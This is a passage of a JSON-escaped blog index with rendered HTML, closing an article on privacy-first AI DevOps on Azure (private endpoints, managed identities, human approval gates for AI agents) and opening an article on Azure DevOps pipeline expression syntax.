style=\"color:#f92672\"\u003e\u0026lt;base\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e/\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026lt;/inbound\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"7-layer-6-agentic-devops-with-guardrails\"\u003e7. Layer 6: Agentic DevOps with Guardrails\u003c/h2\u003e\n\u003cp\u003eIn 2026, we\u0026rsquo;re moving from passive chat to \u003cstrong\u003eAgentic AI\u003c/strong\u003e—autonomous agents that can execute shell commands or modify infrastructure. This requires a \u0026ldquo;Zero Agency\u0026rdquo; framework.\u003c/p\u003e\n\u003ch3 id=\"least-privilege-ai-agents\"\u003eLeast-Privilege AI Agents\u003c/h3\u003e\n\u003cp\u003eNever grant an AI agent \u003ccode\u003eOwner\u003c/code\u003e or \u003ccode\u003eContributor\u003c/code\u003e access at the subscription level. Use \u003cstrong\u003eJust-In-Time (JIT)\u003c/strong\u003e permissions via \u003cstrong\u003ePrivileged Identity Management (PIM)\u003c/strong\u003e. The agent requests a role only when it needs to remediate an incident. All high-impact actions—production database failovers, scaling events—must pass through a \u003cstrong\u003eHuman-in-the-Loop (HITL)\u003c/strong\u003e gate. The agent proposes a plan; a human approves it via a Microsoft Teams Adaptive Card before anything executes.\u003c/p\u003e\n\u003ch3 id=\"agentic-devops-guardrails-human-in-the-loop\"\u003eAgentic DevOps Guardrails (Human-in-the-Loop)\u003c/h3\u003e\n\n\n\n\u003cdiv class=\"goat svg-container \"\u003e\n\t\n\t\t\u003csvg\n\t\t\txmlns=\"http://www.w3.org/2000/svg\"\n\t\t\tfont-family=\"Menlo,Lucida Console,monospace\"\n\t\t\t\n\t\t\t\tviewBox=\"0 0 704 201\"\n\t\t\t\u003e\n\t\t\t\u003cg transform='translate(8,16)'\u003e\n\u003cpath d='M 80,48 L 296,48' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 80,112 L 296,112' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 80,160 L 304,160' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 304,160 L 536,160' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 72,16 L 72,32' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 72,32 L 72,128' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 72,160 L 72,176' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 304,16 L 304,64' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 304,96 L 304,160' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 304,160 L 304,176' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 544,16 L 544,176' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='88.000000,112.000000 76.000000,106.400002 76.000000,117.599998' fill='currentColor' transform='rotate(180.000000, 80.000000, 112.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='304.000000,48.000000 292.000000,42.400002 292.000000,53.599998' fill='currentColor' transform='rotate(0.000000, 296.000000, 48.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='544.000000,160.000000 532.000000,154.399994 532.000000,165.600006' fill='currentColor' transform='rotate(0.000000, 536.000000, 160.000000)'\u003e\u003c/polygon\u003e\n\u003ccircle cx='72' cy='32' r='6' stroke='currentColor' fill='#fff'\u003e\u003c/circle\u003e\n\u003ctext text-anchor='middle' x='32' y='4' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='32' y='36' fill='currentColor' style='font-size:1em'\u003e1\u003c/text\u003e\n\u003ctext text-anchor='middle' x='32' y='148' fill='currentColor' style='font-size:1em'\u003e3\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='36' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='148' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='4' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='36' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='148' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='36' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='148' fill='currentColor' style='font-size:1em'\u003ex\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='148' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='4' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='36' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='148' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='36' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='148' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='4' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='36' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='148' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='4' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='36' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='148' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='36' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='148' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='4' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='36' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='148' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='36' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='148' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='36' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='148' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='36' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='148' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='148' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='148' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='4' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='4' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='4' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='84' fill='currentColor' style='font-size:1em'\u003e2\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='4' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='84' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='4' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='4' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='84' fill='currentColor' style='font-size:1em'\u003eH\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='84' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='84' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='4' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='84' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='4' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='84' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='4' fill='currentColor' style='font-size:1em'\u003e/\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='84' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='84' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='4' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='84' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='84' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='4' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='84' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='4' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='84' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='4' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='84' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='84' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='4' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='504' y='4' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='520' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='528' y='4' fill='currentColor' style='font-size:1em'\u003ez\u003c/text\u003e\n\u003ctext text-anchor='middle' x='536' y='4' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='544' y='4' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='552' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='568' y='4' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='576' y='4' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='584' y='4' fill='currentColor' style='font-size:1em'\u003ef\u003c/text\u003e\n\u003ctext text-anchor='middle' x='592' y='4' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='600' y='4' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='608' y='4' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='616' y='4' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='624' y='4' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='632' y='4' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='640' y='4' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='648' y='4' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='656' y='4' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='664' y='4' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='672' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='688' y='4' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003c/g\u003e\n\n\t\t\u003c/svg\u003e\n\t\n\u003c/div\u003e\n\u003ch2 id=\"hands-on-example-deploying-the-blueprint\"\u003eHands-On Example: Deploying the Blueprint\u003c/h2\u003e\n\u003cp\u003eTo pass a SOC 2 audit while enabling AI, your platform team should:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\u003cstrong\u003eProvision Azure OpenAI\u003c/strong\u003e with \u003ccode\u003epublicNetworkAccess: 'Disabled'\u003c/code\u003e in your Bicep templates.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eCreate Private Endpoints\u003c/strong\u003e and link them to your shared-services VNet.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eSubmit the ZDR Application\u003c/strong\u003e via \u003ca href=\"https://aka.ms/oai/modifiedaccess\"\u003eaka.ms/oai/modifiedaccess\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eAssign Managed Identities\u003c/strong\u003e to your GitHub self-hosted runners and grant them \u003ccode\u003eCognitive Services OpenAI User\u003c/code\u003e access.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eConfigure GitHub Content Exclusions\u003c/strong\u003e for your \u003ccode\u003e/infra\u003c/code\u003e and \u003ccode\u003e/secrets\u003c/code\u003e directories.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eEnable Push Protection\u003c/strong\u003e in GitHub Advanced Security to block secrets before they enter the repository index.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch3 id=\"verification\"\u003eVerification\u003c/h3\u003e\n\u003cp\u003eFrom within your VNet, verify the private path:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003enslookup your-resource.openai.azure.com\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Expected: Non-authoritative answer: 10.x.x.x\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThe same query from the public internet should return a connection refusal or a 403 Forbidden error.\u003c/p\u003e\n\u003ch2 id=\"key-takeaways\"\u003eKey Takeaways\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003e\u003cstrong\u003eDefaults are Risks:\u003c/strong\u003e Azure OpenAI\u0026rsquo;s default public endpoints and 30-day logging must be explicitly hardened for enterprise use.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eNetwork Isolation is the Foundation:\u003c/strong\u003e Private Link is not optional; it is the first layer of defense that keeps prompts off the public internet.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eIdentity Over Keys:\u003c/strong\u003e Managed Identities provide the auditable, secret-less authentication required for modern compliance.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eSecure the Agency:\u003c/strong\u003e As AI becomes agentic, focus on JIT permissions and human approval gates to prevent \u0026ldquo;Excessive Agency.\u0026rdquo;\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003eThe transition to a privacy-first AI DevOps model is a continuous process. As models and agents evolve, your governance must scale from simple file exclusions to deep architectural isolation in \u003cstrong\u003eAzure AI Foundry\u003c/strong\u003e.\u003c/p\u003e\n\u003ch2 id=\"sources\"\u003eSources\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://learn.microsoft.com/en-us/azure/ai-services/openai/concepts/data-privacy\"\u003eMicrosoft Learn: Data, privacy, and security for Azure OpenAI\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://learn.microsoft.com/en-us/azure/ai-services/openai/how-to/managed-vnet\"\u003eMicrosoft Learn: Azure OpenAI networking and private endpoints\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://docs.github.com/en/copilot/managing-github-copilot-in-your-organization/configuring-content-exclusions-for-github-copilot\"\u003eGitHub Docs: Configuring content exclusions for GitHub Copilot\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.nist.gov/itl/ai-risk-management-framework\"\u003eNIST: AI Risk Management Framework (AI 600-1)\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!--\n### Image Generation Prompts\n\n**Option 1 — 3D Abstract / Isometric: The Six-Layer Stack**\nWide landscape format, 16:9 aspect ratio. A clean isometric 3D scene showing a tall stack of six distinct horizontal platform layers, each slightly smaller than the one below, forming a stepped pyramid. Each layer has a different cool-to-warm color gradient — the bottom layer is deep navy blue (network), the middle layers shift through teal and slate, and the top layer glows warm amber (agentic). A faint glowing vertical channel runs through the center of all six layers, connecting them. A small stylized AI node hovers above the top layer like a crown. The background is deep charcoal with a soft ambient glow. Spline/Blender aesthetic, no text or labels.\n\n**Option 2 — Cyber-Industrial / Data Flow: The Zero Trust Perimeter**\nWide landscape format, 16:9 aspect ratio. A dark, high-contrast digital scene showing a large concentric ring structure — like a fortress viewed from above at a slight angle. Six nested glowing rings emanate outward from a central bright node, each ring a slightly different shade of blue and teal. Between each ring, thin streams of data packets flow inward, passing through visible filter points at each ring boundary. The outermost ring is dark and faintly red at the edges, representing the public internet. The innermost ring and central node glow the brightest white-blue, representing the hardened private AI endpoint. Background is near-black. Cinematic volumetric lighting.\n\n**Option 3 — Photorealistic / Cinematic: The Secured Vault**\nWide landscape format, 16:9 aspect ratio. A dramatic cinematic shot inside a massive, dimly lit server vault. The camera looks down a long corridor flanked by tall illuminated server racks in deep blue and teal. At the far end of the corridor, a large circular blast-door-style vault entrance is partially open, with a brilliant white-blue light emanating from inside — suggesting the private AI infrastructure within. The foreground has shallow depth of field, with the vault door sharp in the background. No people, no text on surfaces. Cold industrial atmosphere, high-contrast dramatic lighting.\n\n**Option 4 — Minimalist Vector / Flat: Blueprint Layers**\nWide landscape format, 16:9 aspect ratio. A clean flat-design composition on a dark navy background. Six thin horizontal bands of slightly different shades stack from bottom to top, like geological strata or a technical blueprint cross-section. Each band has a single small geometric icon centered within it — a lock, a key, a shield, a document, a funnel, and a robot figure, from bottom to top. The icons are white and minimal. Thin white dividing lines separate the layers. A single vertical dotted line runs through all the icons, suggesting interconnection. Flat color fields, blueprint-grid texture on the background. No text.\n\n**Option 5 — Claymorphism / Soft 3D: The Protected AI Brain**\nWide landscape format, 16:9 aspect ratio. A soft clay-style 3D scene showing a rounded, matte clay sphere at the center — representing the AI model — surrounded by six concentric clay shell layers, each slightly larger and a different pastel color. The outermost shell has a claymorphic padlock embedded in its surface. The layers have visible seams and soft shadows between them, giving a tactile nested-sphere appearance, like a matryoshka doll cut in cross-section. Small rounded geometric shapes orbit between the layers. Background is a warm off-white with soft diffuse light from above. No text.\n--\u003e\n","description":"Architect a zero-trust, GenAI-powered DevOps ecosystem on Azure using Private Link, Managed Identities, and GitHub Copilot Enterprise governance.","image":"images/featured.webp","permalink":"https://larryjameshenry.com/posts/the-ultimate-guide-to-secure-ai-devops-on-azure/","title":"The Ultimate Guide to Secure AI DevOps on Azure: A Privacy-First Blueprint"},{"content":"\u003cp\u003eYou’ve spent two hours debugging why your pipeline skipped a critical deployment stage. The logs show the variable was set, the logic seems correct, yet the \u003ccode\u003econdition\u003c/code\u003e evaluated to \u003ccode\u003efalse\u003c/code\u003e. Welcome to the \u0026ldquo;Expression Gap\u0026rdquo;—the confusing territory where Azure DevOps evaluates three different syntaxes (${{ }}, $[ ], and $( )) at different times.\u003c/p\u003e\n\u003cp\u003eAzure DevOps YAML pipelines are not just configuration files; they are executable programs. The expression engine is the logic core that determines whether a step runs, how a job scales, and which environment receives a build. However, official documentation often treats these syntaxes as interchangeable, leading to \u0026ldquo;silent failures\u0026rdquo; where compile-time logic tries to read runtime data. This guide demystifies the Azure DevOps expression engine, covering evaluation order, lifecycle phases, and the architectural patterns required to build pipelines that never fail a condition due to syntax confusion.\u003c/p\u003e\n\u003ch2 id=\"1-the-trinity-of-syntaxes-----and--\"\u003e1. The Trinity of Syntaxes: ${{ }}, $[ ], and $( )\u003c/h2\u003e\n\u003cp\u003eTo master Azure DevOps logic, you must distinguish between the three primary evaluation syntaxes. Each operates in a specific phase of the pipeline lifecycle and has a distinct scope of visibility.\u003c/p\u003e\n\u003ch3 id=\"the-trinity-of-syntaxes-evaluation-timeline\"\u003eThe Trinity of Syntaxes: Evaluation Timeline\u003c/h3\u003e\n\n\n\n\u003cdiv class=\"goat svg-container \"\u003e\n\t\n\t\t\u003csvg\n\t\t\txmlns=\"http://www.w3.org/2000/svg\"\n\t\t\tfont-family=\"Menlo,Lucida Console,monospace\"\n\t\t\t\n\t\t\t\tviewBox=\"0 0 736 185\"\n\t\t\t\u003e\n\t\t\t\u003cg transform='translate(8,16)'\u003e\n\u003cpath d='M 16,32 L 208,32' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 272,32 L 464,32' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 528,32 L 720,32' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 216,80 L 264,80' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 472,80 L 520,80' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 296,128 L 304,128' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 296,144 L 304,144' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 16,160 L 208,160' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 272,160 L 464,160' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 528,160 L 720,160' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 16,32 L 16,160' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 208,32 L 208,160' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 272,32 L 272,160' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 464,32 L 464,160' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 528,32 L 528,160' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 720,32 L 720,160' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='272.000000,80.000000 260.000000,74.400002 260.000000,85.599998' fill='currentColor' transform='rotate(0.000000, 264.000000, 80.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='528.000000,80.000000 516.000000,74.400002 516.000000,85.599998' fill='currentColor' transform='rotate(0.000000, 520.000000, 80.000000)'\u003e\u003c/polygon\u003e\n\u003ctext text-anchor='middle' x='16' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='16' y='20' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='24' y='4' fill='currentColor' style='font-size:1em'\u003ex\u003c/text\u003e\n\u003ctext text-anchor='middle' x='24' y='20' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='32' y='4' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='32' y='20' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='4' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='20' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='68' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='116' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='132' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='148' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='4' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='20' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='84' fill='currentColor' style='font-size:1em'\u003e$\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='4' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='20' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='68' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='84' fill='currentColor' style='font-size:1em'\u003e{\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='116' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='132' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='148' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='4' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='20' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='68' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='84' fill='currentColor' style='font-size:1em'\u003e{\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='116' fill='currentColor' style='font-size:1em'\u003ef\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='132' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='148' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='4' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='20' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='68' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='116' fill='currentColor' style='font-size:1em'\u003e/\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='132' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='148' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='4' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='68' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='116' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='132' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='148' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='20' fill='currentColor' style='font-size:1em'\u003e\u0026amp;\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='68' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='116' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='132' 